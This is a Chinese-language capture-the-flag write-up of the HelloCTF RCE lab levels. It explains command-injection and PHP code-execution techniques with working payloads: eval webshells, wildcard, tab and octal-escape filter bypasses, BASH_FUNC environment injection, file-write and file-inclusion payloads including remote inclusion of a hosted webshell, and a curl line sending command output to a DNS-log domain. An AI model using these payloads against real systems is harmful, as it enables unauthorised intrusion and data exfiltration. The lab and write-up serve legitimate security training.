RCE

前言

本篇记录打HelloCTF RCE靶场

##level 1

一句话木马

level2

###array_filter函数

image-20250526112447338

eg:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
function odd($var)
{
// 返回输入整数是否为奇数(单数)
return $var & 1;
}
function even($var)
{
// 返回输入整数是否为偶数
return !($var & 1);
}
$array1 = ['a' => 1, 'b' => 2, 'c' => 3, 'd' => 4, 'e' => 5];
$array2 = [6, 7, 8, 9, 10, 11, 12];
echo "Odd :\n";
print_r(array_filter($array1, "odd"));
echo "Even:\n";
print_r(array_filter($array2, "even"));
?>

输出结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Odd :
Array
(
[a] => 1
[c] => 3
[e] => 5
)
Even:
Array
(
[0] => 6
[2] => 8
[4] => 10
[6] => 12
)

payload:

content=[1],function($X){echo $flag;}

level3

一句话木马

level4

shell运算符:

&&(逻辑与运算符) AND操作 只有当第一个命令 cmd_1 执行成功(返回值为 0)时,才会执行第二个命令 cmd_2 mkdir new_folder && cd new_folder (只有在新建文件夹成功后才进入该文件夹)
` `(逻辑或运算符)
&(后台运行符) 将命令 cmd_1 放到后台执行,Shell 立即执行 cmd_2,两个命令并行执行。 sleep 10 & echo "This will run immediately."
;(命令分隔符) 无论前一个命令 cmd_1 是否成功,都会执行下一个命令 cmd_2。这允许将命令堆叠在一起。命令会依次执行。 echo "Hello"; echo "World" (先输出 “Hello”,再输出 “World”)

level5

level6

过滤了一大堆

过滤的字符

  • 字母:b-z(小写)、A-Z(大写),即除了a外的所有字母。
  • 特殊字符:_、@、#、%、^、&、*、:、{、}、-、+、<、>、”、```、|、;、[、]。

未被过滤的字符

  • 字母:a(小写)。
  • 数字:0-9。
  • 特殊字符:.、,、$、=、!、/、\、空格等。

使用通配符 /???/?a? /??a? 匹配到的就是:

?cmd=/???/?a? /??a? //能匹配到/bin/cat /flag ,接着搜索Geesec即可

level7

在遇到空格被过滤的情况下,通常使用 %09 也就是TAB的URL编码来绕过,在终端环境下 空格 被视为一个命令分隔符,本质上由 $IFS 变量控制,而 $IFS 的默认值是空格、制表符和换行符,所以我们还可以通过直接键入 $IFS 来绕过空格过滤。

image-20250526144727361

payload:

?cmd=cat%09/f*

level8

image-20250526150323499

/dev/null 是一个输出重定向,它把标准输出重定向到 /dev/null,这样就不会有输出出现在屏幕上。

2>&1 是另一个重定向操作,它把标准错误输出复制到之前的标准输出位置(即 /dev/null),这样标准错误也不会出现在屏幕上

可以使用命令分隔符 ;

或者写到其他文件之中:
cat /flag > 1.txt /1.txt

level9

基于bash无字母命令执行

image-20250526152438858

题目已经拥有成熟脚本:https://github.com/ProbiusOfficial/bashFuck
你也可以使用在线生成:https://probiusofficial.github.io/bashFuck/
题目本身也提供一个/exp.php方便你使用

从该关卡开始你会发现我们在Dockerfile中添加了一行改动:

RUN ln -sf /bin/bash /bin/sh

这是由于在PHP中,system是执行sh的,sh通常只是一个软连接,并不是真的有一个shell叫sh。在debian系操作系统中,sh指向dash;在centos系操作系统中,sh指向bash,我们用的底层镜像 php:7.3-fpm-alpine 默认指向的 /bin/busybox ,要验证这一点,你可以对 /bin/sh 使用 ls -l 命令查看,在这个容器中,你会得到下面的回显:
bash-5.1# ls -l /bin/sh
lrwxrwxrwx 1 root root 12 Mar 16 2022 /bin/sh -> /bin/busybox

我们需要用到的特性只有bash才支持,请记住这一点,这也是我们手动修改指向的原因。

在这个关卡主要利用的是在终端中,$’\xxx’可以将八进制ascii码解析为字符,仅基于这个特性,我们可以将传入的命令的每一个字符转换为$’\xxx\xxx\xxx\xxx’的形式,但是注意,这种方式在没有空格的情况下无法执行带参数的命令。
比如”ls -l”也就是$’\154\163\40\55\154’ 只能拆分为$’\154\163’ 空格 $’\55\154’三部分。

bash-5.1# $’\154\163\40\55\154’
bash: ls -l: command not found

bash-5.1# $’\154\163’ $’\55\154’
total 4
-rw-r–r– 1 www-data www-data 829 Aug 14 19:39 index.php

payload:
?cmd=$'\143\141\164' $'\57\146\154\141\147'

level10

image-20250527105641251

这里只能使用二进制的命令,使用在线脚本生成payload

image-20250527105750270

但是发现get传参之后并没有执行命令

在 URL 中,# 表示锚点(Anchor),它用于指向网页中的特定位置或片段。锚点的主要功能是让浏览器快速定位到页面内的某个部分

所以要把payload中的#进行URL编码%23

$0<<<$0\<\<\<\$\'\\$(($((1<<1))%2310001111))\\$(($((1<<1))%2310001101))\\$(($((1<<1))%2310100100))\\$(($((1<<1))%23101000))\\$(($((1<<1))%23111001))\\$(($((1<<1))%2310010010))\\$(($((1<<1))%2310011010))\\$(($((1<<1))%2310001101))\\$(($((1<<1))%2310010011))\'

level11

bash终端的无字母命令执行_数字1的特殊变量替换

image-20250527110024165

直接使用工具

image-20250527111100989

level17

PHP命令执行函数

RCE无回显命令执行

判断:

1、延时

2、dns请求

执行

1、直接写文件

1
2
?cmd=whoami>test
?cmd=cp flag.php test

2、反弹shell

3、dnslog外带数据

curl 'ls /'.域名

level18

环境变量注入执行任意命令

  • BASH_ENV:可以在 bash -c 的时候注入任意命令
  • ENV:可以在 sh -i -c 的时候注入任意命令
  • PS1:可以在 sh 或 bash 交互式环境下执行任意命令
  • PROMPT_COMMAND:可以在 bash 交互式环境下执行任意命令
  • BASH_FUNC_xxx%%:可以在 bash -c 或 sh -c 的时候执行任意命令
1
2
3
4
5
<?php
foreach ($_REQUEST['envs'] as $key => $val) {
putenv("$key=$val");
}
system('echo hello');

当提交参数:envs[BASH_FUNC_echo%%]=() { cat /flag; }
实际流程:

envs[BASH_FUNC_echo%%]=() { cat /flag; }
PHP 接收后调用:
putenv("BASH_FUNC_echo%%=() { cat /flag; }");
PHP 调用:
system(“echo hello”);
内部发生了什么?,system() 创建子进程。默认 shell(通常是 /bin/bash 或 /bin/sh)启动。

这个子进程自动继承环境变量。Bash 看到 BASH_FUNC_echo%%,还原为:
function echo() { cat /flag; }
然后执行echo函数

BASH_FUNC_echo%%: Bash 允许通过环境变量定义函数,格式为 BASH_FUNC_函数名%%=() { 命令; }

level19

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com

--- HelloCTF - RCE靶场 : 文件写入导致的RCE ---

https://www.php.net/manual/zh/function.file-put-contents.php

参考可以写入的内容:
<?php @eval($_POST['a']); ?>

*/

function helloctf($code){
$code = "file_put_contents(".$code.");";
eval($code);
}

isset($_GET['c']) ? helloctf($_GET['c']) : '';

highlight_file(__FILE__);

?>

file_put_contents函数:

image-20250527155043757

image-20250527155101220

两种方法:

​ 1、写入一句木马

?c='shell.php','<?php+@eval($_POST["cmd"]);?>'

​ 2、通过构造参数闭合原函数调用,并追加任意PHP代码

c='','');echo(cat /flag)'

这样之后原本的代码变成这样:file_put_contents('','');echo(cat /flag);

level20

一个普通的文件上传没有任何过滤

level21

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com

--- HelloCTF - RCE靶场 : 文件包含导致的RCE ---

allow_url_fopen = On
allow_url_include = On
默认全开的环境,可以尝试多种解法,若对此存有疑问,尝试去 github.com/ProbiusOfficial/PHPinclude-labs 了解更多文件包含的知识。

远程文件包含可用链接(<?php @eval($_POST['a']); ?>):
https://raw.githubusercontent.com/ProbiusOfficial/PHPinclude-labs/main/RFI
https://gitee.com/Probius/PHPinclude-labs/raw/main/RFI

FilterChain的Payload生成器:
https://probiusofficial.github.io/PHP-FilterChain-Exploit/
/exp.php

注意:在本关卡中你传递的内容将以字符串的方式拼接在 include() 函数中,你需要区别这与 incluude($_GET['file']) 的区别。
*/

function helloctf($code){
$code = "include(".$code.");";
echo "Your includeCode : ".$code;
eval($code);
}

isset($_POST['c']) ? helloctf($_POST['c']) : '';

highlight_file(__FILE__);

?>

​ 1、直接读取文件

c='/flag';

​ 2、使用伪协议

c='php://filter/convert.base64-encode/resource=/flag'

c="data://text/plain,<?php readfile('/flag');"

​ 3、input写入

c="php://input"&<?php system('cat /flag'); ?>

​ 4、远程文件包含

c=https://raw.githubusercontent.com/ProbiusOfficial/PHPinclude-labs/main/RFI&a='readfile('/flag');'

level22

PHP 特性 - 动态调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com

--- HelloCTF - RCE靶场 : HP 特性 - 动态调用 ---

PHP 支持在运行时动态构建并且调用函数,在下面的代码中 a可以被作为函数,b可以被作为函数的参数。

try ?a=system&b=ls

*/

isset($_GET['a'])&&isset($_GET['b']) ? $_GET['a']($_GET['b']) : null;

highlight_file(__FILE__);

?>

PHP 支持 变量函数(Variable Functions)语法:
若变量后跟随 (),PHP 会将该变量的值作为函数名执行

例如:

1
2
3
4
5
6
// 写法1:直接变量调用
$a = 'system';
$a('id'); // 执行 system('id')

// 写法2:括号包裹变量
($a)('id'); // 同样执行 system('id')

因此,在本题中$_GET['a']($_GET['b'])

$_GET['a']被解析为函数名

$_GET['b']被解析为函数参数

level24

无参数的RCE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php 
include ("get_flag.php");
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com

--- HelloCTF - RCE靶场 : PHP 特性 - 无参命令执行 ---

根据正则表达式的匹配规则,可以看到我们只能输入A(),这样的形式,括号中无法携带参数,但支持多个函数嵌套A(B(C())),这种形式我们称其为无参命令执行。
无参命令执行的难度首先是在于无参本身,这需要你利用一些函数特性外带参数绕过限制 —— 这可以从一些获取外部值的函数实现:
getallheaders()
session_id()
...
其次是对嵌套参数的处理 —— 当然不局限于外带进来的参数,一些诸如 localeconv() 的函数可以获取内部存在的一些参数如当前目录下面的文件信息等:
getchwd() :函数返回当前工作目录。
scandir() :函数返回指定目录中的文件和目录的数组。
dirname() :函数返回路径中的目录部分。
chdir() :函数改变当前的目录。

通常我们获取到的很多情况下是数组,所以有时候比较依赖对数组的操作,比如:
- array_reverse():数组反转
- pos():输出数组第一个元素
- next():指向数组的下一个元素,并输出
...

随后是一些文件读取显示的操作:
- show_source() - 对文件进行语法高亮显示。
- readfile() - 输出一个文件。
- highlight_file() - 对文件进行语法高亮显示。
- file_get_contents() - 把整个文件读入一个字符串中。
- readgzfile() - 可用于读取非 gzip 格式的文件

...你随时可以通过查阅PHP官方手册中函数相关的部分来找到上面类似的内容。
*/

function hello_code($code){
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $code)){
eval($code);
}else{
die("O.o");
}

}

isset($_GET['code']) ? hello_code($_GET['code']) : null;

highlight_file(__FILE__);

?>
功能分类 函数名称 功能描述
获取外部值 getallheaders() 获取所有 HTTP 请求头信息
session_id() 获取当前会话 ID
获取内部参数 localeconv() 获取当前区域设置的格式信息
getcwd() 返回当前工作目录
scandir() 返回指定目录中的文件和目录数组
dirname() 返回路径中的目录部分
chdir() 更改当前工作目录
数组操作 array_reverse() 反转数组
pos() 输出数组的第一个元素
next() 指向数组的下一个元素并输出
文件读取与显示 show_source() 对文件进行语法高亮显示
readfile() 输出文件内容
highlight_file() 对文件进行语法高亮显示
file_get_contents() 将整个文件读入字符串
readgzfile() 读取文件(支持非 gzip 格式)

说明

  1. 无参命令执行的核心在于利用函数特性绕过无参限制,通过获取外部值或内部参数实现功能。
  2. 数组操作函数常用于处理获取到的数组数据。
  3. 文件操作函数用于读取或显示目标文件内容,常用于信息泄露或代码分析场景。
1
2
3
4
var_dump(scandir(current(localeconv())));
#array(6) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(8) "flag.php" [3]=> string(12) "get_flag.php" [4]=> string(9) "index.php" [5]=> string(7) "uploads" }

show_source(array_rand(array_flip(scandir(current(localeconv())))));

随机读取:

array_flip确保 array_rand() 返回文件名(键),而不是索引(值)。

array_rand:避免直接索引(如 scandir()[2]),随机选择文件名(键)。

颠倒键与值后,随机读取键(文件名)